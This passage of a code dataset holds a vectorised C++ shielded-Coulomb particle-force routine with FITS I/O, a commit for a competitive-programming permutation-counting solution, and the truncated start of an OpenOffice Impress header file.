\n\t\t\tforce(currentParticle, i, vx1 - (_mm_load_pd(px2) + _mm_load_pd(pl)\/v2), \n\t\t\t\tvy1 - (_mm_load_pd(py2) + _mm_load_pd(pn)\/v2));\n            \n\t\t\tforcer(currentParticle, i, vx1 - (_mm_loadr_pd(px2) + _mm_loadr_pd(pl)\/v2), \n\t\t\t\tvy1 - (_mm_loadr_pd(py2) + _mm_loadr_pd(pn)\/v2));\n\t\t}\n\t}\n}\n\nvoid ShieldedCoulombForce::force3(const double currentTime)\n{\n\tconst __m128d v2 = _mm_set1_pd(2.0);\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]) + _mm_load_pd(&cloud->l2[currentParticle])\/v2;\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]) + _mm_load_pd(&cloud->n2[currentParticle])\/v2;\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\t\t\tconst double *pl = &cloud->l2[i];\n\t\t\tconst double *pn = &cloud->n2[i];\n\n\t\t\tforce(currentParticle, i, vx1 - (_mm_load_pd(px2) + _mm_load_pd(pl)\/v2), \n\t\t\t\tvy1 - (_mm_load_pd(py2) + _mm_load_pd(pn)\/v2));\n            \n\t\t\tforcer(currentParticle, i, vx1 - (_mm_loadr_pd(px2) + _mm_loadr_pd(pl)\/v2), \n \t\t\t\tvy1 - (_mm_loadr_pd(py2) + _mm_loadr_pd(pn)\/v2));\n\t\t}\n\t}\n}\n\nvoid ShieldedCoulombForce::force4(const double currentTime)\n{\n\tfor (unsigned int currentParticle = 0, numParticles = cloud->n, e = cloud->n - 1; currentParticle < e; currentParticle += 2) \n\t{\n\t\tconst __m128d vx1 = _mm_load_pd(&cloud->x[currentParticle]) + _mm_load_pd(&cloud->l3[currentParticle]);\n\t\tconst __m128d vy1 = _mm_load_pd(&cloud->y[currentParticle]) + _mm_load_pd(&cloud->n3[currentParticle]);\n\t\tdouble x1, x2, y1, y2;\n\t\t_mm_storel_pd(&x1, vx1);\n\t\t_mm_storeh_pd(&x2, vx1);\n\t\t_mm_storel_pd(&y1, vy1);\n\t\t_mm_storeh_pd(&y2, vy1);\n\n\t\tforce(currentParticle, currentParticle + 1, x1 - x2, y1 - y2);\n\t\tfor(unsigned int i = currentParticle + 2; i < numParticles; i += 2)\n\t\t{\n\t\t\tconst double *px2 = &cloud->x[i];\n\t\t\tconst double *py2 = &cloud->y[i];\n\t\t\tconst double *pl = &cloud->l3[i];\n\t\t\tconst double *pn = &cloud->n3[i];\n            \n\t\t\tforce(currentParticle, i, vx1 - (_mm_load_pd(px2) + _mm_load_pd(pl)), \n\t\t\t\tvy1 - (_mm_load_pd(py2) + _mm_load_pd(pn)));\n\n\t\t\tforcer(currentParticle, i, vx1 - (_mm_loadr_pd(px2) + _mm_loadr_pd(pl)), \n \t\t\t\tvy1 - (_mm_loadr_pd(py2) + _mm_loadr_pd(pn)));\n\t\t}\n\t}\n}\n\ninline void ShieldedCoulombForce::force(const unsigned int currentParticle, const unsigned int iParticle, const double displacementX, const double displacementY)\n{\n\t\/\/ Calculate displacement between particles.\n\tconst double displacement = sqrt(displacementX*displacementX + displacementY*displacementY);\n\tconst double valExp = displacement*shielding;\n\n\tif(valExp < 10.0) \t\/\/restrict to 10*(ion debye length)\n\t{\n\t\t \/\/conclude force calculation:\n\t\tconst double displacement3 = displacement*displacement*displacement;\n\t\t\/\/set to charges multiplied by Coulomb's constant:\n\t\tconst double exponential = (cloud->charge[currentParticle]*cloud->charge[iParticle])\/(4.0*M_PI*8.85E-12)*(1.0 + valExp)\/(displacement3*exp(valExp));\n\t\tcloud->forceX[currentParticle] += exponential*displacementX;\n\t\tcloud->forceY[currentParticle] += exponential*displacementY;\n\n\t\t\/\/equal and opposite force:\n\t\tcloud->forceX[iParticle] -= exponential*displacementX;\n\t\tcloud->forceY[iParticle] -= exponential*displacementY;\n\t}\n}\n\ninline void ShieldedCoulombForce::force(const unsigned int currentParticle, const unsigned int iParticle, const __m128d displacementX, const __m128d displacementY)\n{\n\t\/\/ Calculate displacement between particles.\n\tconst __m128d displacement = _mm_sqrt_pd(displacementX*displacementX + displacementY*displacementY);\n\tconst __m128d valExp = displacement*_mm_set_pd(shielding, shielding);\n\t\n\tdouble valExpL, valExpH;\n\t_mm_storel_pd(&valExpL, valExp);\n\t_mm_storeh_pd(&valExpH, valExp);\n\t\n\tconst bool boolL = valExpL < 10.0;\n\tconst bool boolH = valExpH < 10.0;\n\tif (!boolL && !boolH)\n\t\treturn;\n\n\tdouble expL, expH;\n\t_mm_storel_pd(&expL, valExp);\n\t_mm_storeh_pd(&expH, valExp);\n\t\n\t__m128d expv = _mm_set_pd(boolH ? exp(-expH) : 0.0, \/\/_mm_set_pd is backwards\n\t\t\t\t\t\t\t  boolL ? exp(-expL) : 0.0);\n\n\t\/\/conclude force calculation:\n\tconst __m128d displacement3 = displacement*displacement*displacement;\n\t\/\/set to charges multiplied by Coulomb's constant:\n\tconst double c = 4.0*M_PI*8.85E-12;\n\tconst __m128d exponential = _mm_load_pd(&cloud->charge[currentParticle])*_mm_load_pd(&cloud->charge[iParticle])\n\t\t\/_mm_set_pd(c, c)*(_mm_set1_pd(1.0) + valExp)\/displacement3*expv;\n\t\n\tconst __m128d forcevX = exponential*displacementX;\n\tconst __m128d forcevY = exponential*displacementY;\n\n\tdouble *pFx = &cloud->forceX[currentParticle];\n\tdouble *pFy = &cloud->forceY[currentParticle];\n\t_mm_store_pd(pFx, _mm_load_pd(pFx) + forcevX);\n\t_mm_store_pd(pFy, _mm_load_pd(pFy) + forcevY);\n\n\t\/\/equal and opposite force:\n\tpFx = &cloud->forceX[iParticle];\n\tpFy = &cloud->forceY[iParticle];\n\t_mm_store_pd(pFx, _mm_load_pd(pFx) - forcevX);\n\t_mm_store_pd(pFy, _mm_load_pd(pFy) - forcevY);\n}\n\ninline void ShieldedCoulombForce::forcer(const unsigned int currentParticle, const unsigned int iParticle, const __m128d displacementX, const __m128d displacementY)\n{\n\t\/\/ Calculate displacement between particles.\n\tconst __m128d displacement = _mm_sqrt_pd(displacementX*displacementX + displacementY*displacementY);\n\tconst __m128d valExp = displacement*_mm_set_pd(shielding, shielding);\n\t\n\tdouble valExpL, valExpH;\n\t_mm_storel_pd(&valExpL, valExp);\n\t_mm_storeh_pd(&valExpH, valExp);\n\t\n\tconst bool boolL = valExpL < 10.0;\n\tconst bool boolH = valExpH < 10.0;\n\tif (!boolL && !boolH)\n\t\treturn;\n\t\n\tdouble expL, expH;\n\t_mm_storel_pd(&expL, valExp);\n\t_mm_storeh_pd(&expH, valExp);\n\t\n\t__m128d expv = _mm_set_pd(boolH ? exp(-expH) : 0.0, \/\/_mm_set_pd is backwards\n\t\t\t\t\t\t\t  boolL ? exp(-expL) : 0.0);\n    \n\t\/\/conclude force calculation:\n\tconst __m128d displacement3 = displacement*displacement*displacement;\n\t\/\/set to charges multiplied by Coulomb's constant:\n\tconst double c = 4.0*M_PI*8.85e-12;\n\tconst __m128d exponential = _mm_load_pd(&cloud->charge[currentParticle])*_mm_loadr_pd(&cloud->charge[iParticle])\n\t\t\/_mm_set_pd(c, c)*(_mm_set1_pd(1.0) + valExp)\/displacement3*expv;\n\n\tconst __m128d forcevX = exponential*displacementX;\n\tconst __m128d forcevY = exponential*displacementY;\n\n\tdouble *pFx = &cloud->forceX[currentParticle];\n\tdouble *pFy = &cloud->forceY[currentParticle];\n\t_mm_store_pd(pFx, _mm_load_pd(pFx) + forcevX);\n\t_mm_store_pd(pFy, _mm_load_pd(pFy) + forcevY);\n\n\t\/\/equal and opposite force:\n\tpFx = &cloud->forceX[iParticle];\n\tpFy = &cloud->forceY[iParticle]; \n\t_mm_storer_pd(pFx, _mm_loadr_pd(pFx) - forcevX);\n\t_mm_storer_pd(pFy, _mm_loadr_pd(pFy) - forcevY);\n}\n\nvoid ShieldedCoulombForce::writeForce(fitsfile * const file, int * const error) const\n{\n\t\/\/move to primary HDU:\n\tif(!*error)\n\t\t\/\/file, # indicating primary HDU, HDU type, error\n \t\tfits_movabs_hdu(file, 1, IMAGE_HDU, error);\n\t\n\t\/\/add flag indicating that the drag force is used:\n\tif(!*error) \n\t{\n\t\tlong forceFlags = 0;\n\t\tfits_read_key_lng(file, const_cast<char *> (\"FORCES\"), &forceFlags, NULL, error);\n\n\t\t\/\/add ShieldedCoulombForce bit:\n\t\tforceFlags |= ShieldedCoulombForceFlag;\t\t\/\/compound bitwise OR\n\n\t\tif(*error == KEY_NO_EXIST || *error == VALUE_UNDEFINED)\n\t\t\t*error = 0;\t\t\t\/\/clear above error.\n\n\t\t\/\/add or update keyword.\n\t\tif(!*error) \n\t\t\tfits_update_key(file, TLONG, const_cast<char *> (\"FORCES\"), &forceFlags, const_cast<char *> (\"Force configuration.\"), error);\n\t}\n\n\tif(!*error)\n\t\t\/\/file, key name, value, precision (scientific format), comment\n\t\tfits_write_key_dbl(file, const_cast<char *> (\"shieldingConstant\"), shielding, 6, const_cast<char *> (\"[m^-1] (ShieldedCoulombForce)\"), error);\n}\n\nvoid ShieldedCoulombForce::readForce(fitsfile * const file, int * const error)\n{\n\t\/\/move to primary HDU:\n\tif(!*error)\n\t\t\/\/file, # indicating primary HDU, HDU type, error\n \t\tfits_movabs_hdu(file, 1, IMAGE_HDU, error);\n\t\n\tif(!*error)\n\t\t\/\/file, key name, value, don't read comment, error\n\t\tfits_read_key_dbl(file, const_cast<char *> (\"shieldingConstant\"), &shielding, NULL, error);\n}\n<|endoftext|>"}
{"text":"<commit_before>#define DEBUG 1\n\/**\n * File    : C.cpp\n * Author  : Kazune Takahashi\n * Created : 4\/5\/2020, 8:34:18 PM\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\ntemplate <typename T>\nusing max_heap = priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{30000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n  if (left < right)\n  {\n    left = right;\n  }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n  if (left > right)\n  {\n    left = right;\n  }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n  ll x;\n  Mint() : x{0LL} {}\n  Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n  Mint operator-() const { return x ? MOD - x : 0; }\n  Mint &operator+=(const Mint &a)\n  {\n    if ((x += a.x) >= MOD)\n    {\n      x -= MOD;\n    }\n    return *this;\n  }\n  Mint &operator-=(const Mint &a) { return *this += -a; }\n  Mint &operator++() { return *this += 1; }\n  Mint &operator++(int)\n  {\n    Mint tmp{*this};\n    ++*this;\n    return tmp;\n  }\n  Mint &operator--() { return *this -= 1; }\n  Mint &operator--(int)\n  {\n    Mint tmp{*this};\n    --*this;\n    return tmp;\n  }\n  Mint &operator*=(const Mint &a)\n  {\n    (x *= a.x) %= MOD;\n    return *this;\n  }\n  Mint &operator\/=(const Mint &a)\n  {\n    Mint b{a};\n    return *this *= b.power(MOD - 2);\n  }\n  Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n  Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n  Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n  Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n  bool operator<(const Mint &a) const { return x < a.x; }\n  bool operator<=(const Mint &a) const { return x <= a.x; }\n  bool operator>(const Mint &a) const { return x > a.x; }\n  bool operator>=(const Mint &a) const { return x >= a.x; }\n  bool operator==(const Mint &a) const { return x == a.x; }\n  bool operator!=(const Mint &a) const { return !(*this == a); }\n  const Mint power(ll N)\n  {\n    if (N == 0)\n    {\n      return 1;\n    }\n    else if (N % 2 == 1)\n    {\n      return *this * power(N - 1);\n    }\n    else\n    {\n      Mint half = power(N \/ 2);\n      return half * half;\n    }\n  }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n  return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n  return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n  return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n  return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n  vector<Mint<MOD>> inv, fact, factinv;\n  Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n  {\n    inv[1] = 1;\n    for (auto i = 2LL; i < MAX_SIZE; i++)\n    {\n      inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n    }\n    fact[0] = factinv[0] = 1;\n    for (auto i = 1LL; i < MAX_SIZE; i++)\n    {\n      fact[i] = Mint<MOD>(i) * fact[i - 1];\n      factinv[i] = inv[i] * factinv[i - 1];\n    }\n  }\n  Mint<MOD> operator()(int n, int k)\n  {\n    if (n >= 0 && k >= 0 && n - k >= 0)\n    {\n      return fact[n] * factinv[k] * factinv[n - k];\n    }\n    return 0;\n  }\n  Mint<MOD> catalan(int x, int y)\n  {\n    return (*this)(x + y, y) - (*this)(x + y, y - 1);\n  }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\ntemplate <typename T>\nT gcd(T x, T y) { return y ? gcd(y, x % y) : x; }\ntemplate <typename T>\nT lcm(T x, T y) { return x \/ gcd(x, y) * y; }\n\/\/ ----- for C++17 -----\ntemplate <typename T>\nint popcount(T x) \/\/ C++20\n{\n  int ans{0};\n  while (x != 0)\n  {\n    ans += x & 1;\n    x >>= 1;\n  }\n  return ans;\n}\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n  cout << \"Yes\" << endl;\n  exit(0);\n}\nvoid No()\n{\n  cout << \"No\" << endl;\n  exit(0);\n}\n\/\/ ----- main() -----\n\nint main()\n{\n  vector<int> a(3);\n  for (auto i = 0; i < 3; ++i)\n  {\n    cin >> a[i];\n  }\n  int N{a[0] + a[1] + a[2]};\n  vector<int> V(N);\n  for (auto i = 0; i < N; ++i)\n  {\n    V[i] = i;\n  }\n  int ans{0};\n  do\n  {\n    vector<vector<int>> X(3, vector<int>(3, -1));\n    auto it{V.begin()};\n    for (auto i = 0; i < 3; ++i)\n    {\n      for (auto j = 0; j < a[i]; ++j)\n      {\n        X[i][j] = *it;\n        it++;\n      }\n    }\n    bool ok{true};\n    for (auto i = 0; i < 3; ++i)\n    {\n      for (auto j = 0; j < 3; ++j)\n      {\n        if (X[i][j] == -1)\n        {\n          continue;\n        }\n        if (i + 1 < 3)\n        {\n          if (X[i + 1][j] == -1)\n          {\n          }\n          else if (X[i][j] >= X[i + 1][j])\n          {\n            ok = false;\n          }\n        }\n        if (j + 1 < 3)\n        {\n          if (X[i][j + 1] == -1)\n          {\n          }\n          else if (X[i][j] >= X[i][j + 1])\n          {\n            ok = false;\n          }\n        }\n      }\n    }\n    if (ok)\n    {\n      ++ans;\n#if DEBUG == 1\n      for (auto i = 0; i < 3; ++i)\n      {\n        for (auto j = 0; j < 3; ++j)\n        {\n          cerr << X[i][j] << \" \";\n        }\n        cerr << endl;\n      }\n#endif\n    }\n  } while (next_permutation(V.begin(), V.end()));\n  \/\/ cout << ans << endl;\n}\n<commit_msg>submit C.cpp to 'C - Numbering Blocks' (judge-update-202004) [C++ (GCC 9.2.1)]<commit_after>#define DEBUG 1\n\/**\n * File    : C.cpp\n * Author  : Kazune Takahashi\n * Created : 4\/5\/2020, 8:34:18 PM\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\ntemplate <typename T>\nusing max_heap = priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{30000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n  if (left < right)\n  {\n    left = right;\n  }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n  if (left > right)\n  {\n    left = right;\n  }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n  ll x;\n  Mint() : x{0LL} {}\n  Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n  Mint operator-() const { return x ? MOD - x : 0; }\n  Mint &operator+=(const Mint &a)\n  {\n    if ((x += a.x) >= MOD)\n    {\n      x -= MOD;\n    }\n    return *this;\n  }\n  Mint &operator-=(const Mint &a) { return *this += -a; }\n  Mint &operator++() { return *this += 1; }\n  Mint &operator++(int)\n  {\n    Mint tmp{*this};\n    ++*this;\n    return tmp;\n  }\n  Mint &operator--() { return *this -= 1; }\n  Mint &operator--(int)\n  {\n    Mint tmp{*this};\n    --*this;\n    return tmp;\n  }\n  Mint &operator*=(const Mint &a)\n  {\n    (x *= a.x) %= MOD;\n    return *this;\n  }\n  Mint &operator\/=(const Mint &a)\n  {\n    Mint b{a};\n    return *this *= b.power(MOD - 2);\n  }\n  Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n  Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n  Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n  Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n  bool operator<(const Mint &a) const { return x < a.x; }\n  bool operator<=(const Mint &a) const { return x <= a.x; }\n  bool operator>(const Mint &a) const { return x > a.x; }\n  bool operator>=(const Mint &a) const { return x >= a.x; }\n  bool operator==(const Mint &a) const { return x == a.x; }\n  bool operator!=(const Mint &a) const { return !(*this == a); }\n  const Mint power(ll N)\n  {\n    if (N == 0)\n    {\n      return 1;\n    }\n    else if (N % 2 == 1)\n    {\n      return *this * power(N - 1);\n    }\n    else\n    {\n      Mint half = power(N \/ 2);\n      return half * half;\n    }\n  }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n  return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n  return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n  return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n  return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n  return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n  vector<Mint<MOD>> inv, fact, factinv;\n  Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n  {\n    inv[1] = 1;\n    for (auto i = 2LL; i < MAX_SIZE; i++)\n    {\n      inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n    }\n    fact[0] = factinv[0] = 1;\n    for (auto i = 1LL; i < MAX_SIZE; i++)\n    {\n      fact[i] = Mint<MOD>(i) * fact[i - 1];\n      factinv[i] = inv[i] * factinv[i - 1];\n    }\n  }\n  Mint<MOD> operator()(int n, int k)\n  {\n    if (n >= 0 && k >= 0 && n - k >= 0)\n    {\n      return fact[n] * factinv[k] * factinv[n - k];\n    }\n    return 0;\n  }\n  Mint<MOD> catalan(int x, int y)\n  {\n    return (*this)(x + y, y) - (*this)(x + y, y - 1);\n  }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\ntemplate <typename T>\nT gcd(T x, T y) { return y ? gcd(y, x % y) : x; }\ntemplate <typename T>\nT lcm(T x, T y) { return x \/ gcd(x, y) * y; }\n\/\/ ----- for C++17 -----\ntemplate <typename T>\nint popcount(T x) \/\/ C++20\n{\n  int ans{0};\n  while (x != 0)\n  {\n    ans += x & 1;\n    x >>= 1;\n  }\n  return ans;\n}\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n  cout << \"Yes\" << endl;\n  exit(0);\n}\nvoid No()\n{\n  cout << \"No\" << endl;\n  exit(0);\n}\n\/\/ ----- main() -----\n\nint main()\n{\n  vector<int> a(3);\n  for (auto i = 0; i < 3; ++i)\n  {\n    cin >> a[i];\n  }\n  int N{a[0] + a[1] + a[2]};\n  vector<int> V(N);\n  for (auto i = 0; i < N; ++i)\n  {\n    V[i] = i;\n  }\n  int ans{0};\n  do\n  {\n    vector<vector<int>> X(3, vector<int>(3, -1));\n    auto it{V.begin()};\n    for (auto i = 0; i < 3; ++i)\n    {\n      for (auto j = 0; j < a[i]; ++j)\n      {\n        X[i][j] = *it;\n        it++;\n      }\n    }\n    bool ok{true};\n    for (auto i = 0; i < 3; ++i)\n    {\n      for (auto j = 0; j < 3; ++j)\n      {\n        if (X[i][j] == -1)\n        {\n          continue;\n        }\n        if (i + 1 < 3)\n        {\n          if (X[i + 1][j] == -1)\n          {\n          }\n          else if (X[i][j] >= X[i + 1][j])\n          {\n            ok = false;\n          }\n        }\n        if (j + 1 < 3)\n        {\n          if (X[i][j + 1] == -1)\n          {\n          }\n          else if (X[i][j] >= X[i][j + 1])\n          {\n            ok = false;\n          }\n        }\n      }\n    }\n    if (ok)\n    {\n      ++ans;\n#if DEBUG == 1\n      for (auto i = 0; i < 3; ++i)\n      {\n        for (auto j = 0; j < 3; ++j)\n        {\n          cerr << X[i][j] << \" \";\n        }\n        cerr << endl;\n      }\n#endif\n    }\n  } while (next_permutation(V.begin(), V.end()));\n  cout << ans << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: glob.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: obo $ $Date: 2004-01-20 10:15:42 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SD_GLOB_HXX\n#define SD_GLOB_HXX\n\n#ifndef _SOLAR_H\n#include <tools\/solar.h>\n#endif\n\n\/\/------------------------------------------------------------------\n\n#define DIA_SLOW    0\n#define DIA_MEDIUM  1\n#define DIA_FAST    2\n\n#define SD_IF_SDAPP                     SFX_INTERFACE_SD_START + 0\n#define SD_IF_SDDRAWDOCSHELL            SFX_INTERFACE_SD_START + 1\n#define SD_IF_SDVIEWSHELL               SFX_INTERFACE_SD_START + 2\n#define SD_IF_SDDRAWVIEWSHELL           SFX_INTERFACE_SD_START + 3\n#define SD_IF_SDSLIDEVIEWSHELL          SFX_INTERFACE_SD_START + 4\n#define SD_IF_SDOUTLINEVIEWSHELL        SFX_INTERFACE_SD_START + 5\n#define SD_IF_SDDRAWSTDOBJECTBAR        SFX_INTERFACE_SD_START + 6\n#define SD_IF_SDDRAWTEXTOBJECTBAR       SFX_INTERFACE_SD_START + 7\n#define SD_IF_SDDRAWBEZIEROBJECTBAR     SFX_INTERFACE_SD_START + 8\n#define SD_IF_SDDRAWGLUEPOINTSOBJECTBAR SFX_INTERFACE_SD_START + 9\n#define SD_IF_SDGRAPHICDOCSHELL         SFX_INTERFACE_SD_START + 10\n#define SD_IF_SDGRAPHICVIEWSHELL        SFX_INTERFACE_SD_START + 11\n#define SD_IF_SDGRAPHICSTDOBJECTBAR     SFX_INTERFACE_SD_START + 12\n#define SD_IF_SDDRAWGRAFOBJECTBAR       SFX_INTERFACE_SD_START + 13\n#define SD_IF_SDPRESVIEWSHELL           SFX_INTERFACE_SD_START + 14\n#define SD_IF_SDPREVIEWVIEWSHELL        SFX_INTERFACE_SD_START + 15\n#define SD_IF_SDVIEWSHELLBASE           SFX_INTERFACE_SD_START + 16\n\n\/\/ Inventor-Id fuer StarDraw UserData\nconst UINT32 SdUDInventor=UINT32('S')*0x00000001+\n                          UINT32('D')*0x00000100+\n                          UINT32('U')*0x00010000+\n                          UINT32('D')*0x01000000;\n\n\/\/ Object-Ids fuer StarDraw UserData\n#define SD_ANIMATIONINFO_ID 1\n#define SD_IMAPINFO_ID      2\n\n\/\/ FamilyId der Praesentationsvorlagen\n#define SD_LT_FAMILY (SfxStyleFamily)0xaffe\n\n\/\/ Trennzeichen zwischen Layoutname und Vorlagenname der Praesentationsvorlagen\n#define SD_LT_SEPARATOR \"~LT~\"\n\n\/\/ Optionsstream-Identifier\n#define SD_OPTION_MORPHING  \"Morph\"\n#define SD_OPTION_VECTORIZE 